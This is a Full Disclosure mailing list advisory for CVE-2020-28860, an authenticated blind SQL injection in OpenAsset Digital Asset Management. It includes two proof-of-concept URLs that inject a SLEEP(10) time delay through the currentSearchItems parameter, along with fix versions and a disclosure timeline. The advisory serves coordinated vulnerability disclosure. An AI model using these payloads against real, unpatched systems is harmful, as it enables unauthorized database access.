Authenticated blind SQL injection (SQLi) in OpenAsset Digital Asset Management 11.2.1/12.0.19 disclosure

---

From: Jack Misiura via Fulldisclosure <fulldisclosure () seclists org>
Date: Thu, 10 Dec 2020 08:00:53 +0000

Title: Authenticated blind SQL injection (SQLi)

Product: OpenAsset Digital Asset Management by OpenAsset

Vendor Homepage: https://www.openasset.com/

Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)

Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)

CVE Number: CVE-2020-28860

Author: Jack Misiura from The Missing Link

Website: https://www.themissinglink.com.au

Timeline:

2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication

1. Vulnerability Description

The OpenAsset Digital Asset Management application was vulnerable to a blind SQL injection, through the /AJAXPage/SearchResults endpoint, via the "currentSearchItems" parameter.

2. PoC

The following requests will result in > 10 second delay in the response, due to the introduction of the SLEEP(10) command into the SQL query:

```
https://example.com/AJAXPage/SearchResults?currentSearchItems=newUpload:0=11)%20AND%20(SELECT%20SLEEP(10))=1%23

https://example.com/AJAXPage/SearchResults?currentSearchItems=album%3A1=196)%20AND%20(SELECT+SLEEP(10)=1)%23
```

3. Solution

The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the
vendor has already updated it.

4. Advisory URL

https://www.themissinglink.com.au/security-advisories

Jack Misiura

Application Security Consultant

a

9-11 Dickson Avenue

Artarmon

NSW

2064

p

1300 865 865

os

+61 2 8436 8585

w

<https://www.themissinglink.com.au/> themissinglink.com.au

<https://www.linkedin.com/company/the-missing-link-pty-ltd/>

<https://www.facebook.com/The-Missing-Link-268395013346228/?ref=bookmarks>

<https://twitter.com/TML_au>

<https://www.youtube.com/channel/UC2kd4mDmBs3SjW41X3fFHnQ>

<https://www.instagram.com/the_missing_link_it/>

<https://forms.office.com/Pages/ResponsePage.aspx?
id=XZw2opTdq0iPe7AFmjygSPnqgoo11WREpgCEhJxsz3FUMUxTOUREUVRDTzBNQ0pKTkFaS1lETEFaSi4u>

CAUTION - This message may contain privileged and confidential information intended only for the use of the addressee
named above. If you are not the intended recipient of this message you are hereby notified that any use,
dissemination,
distribution or reproduction of this message is prohibited. If you have received this message in error please notify
The Missing Link immediately. Any views expressed in this message are those of the individual sender and may not
necessarily reflect the views of The Missing Link.

Attachment: smime.p7s
Description:

By Date By Thread

Current thread:

- **Authenticated blind SQL injection (SQLi) in OpenAsset Digital Asset Management 11.2.1/12.0.19 disclosure** *Jack Misiura via Fulldisclosure (Dec 11)*

Site Search

Nmap Security Scanner | Npcap packet capture | Security Lists | Security Tools | About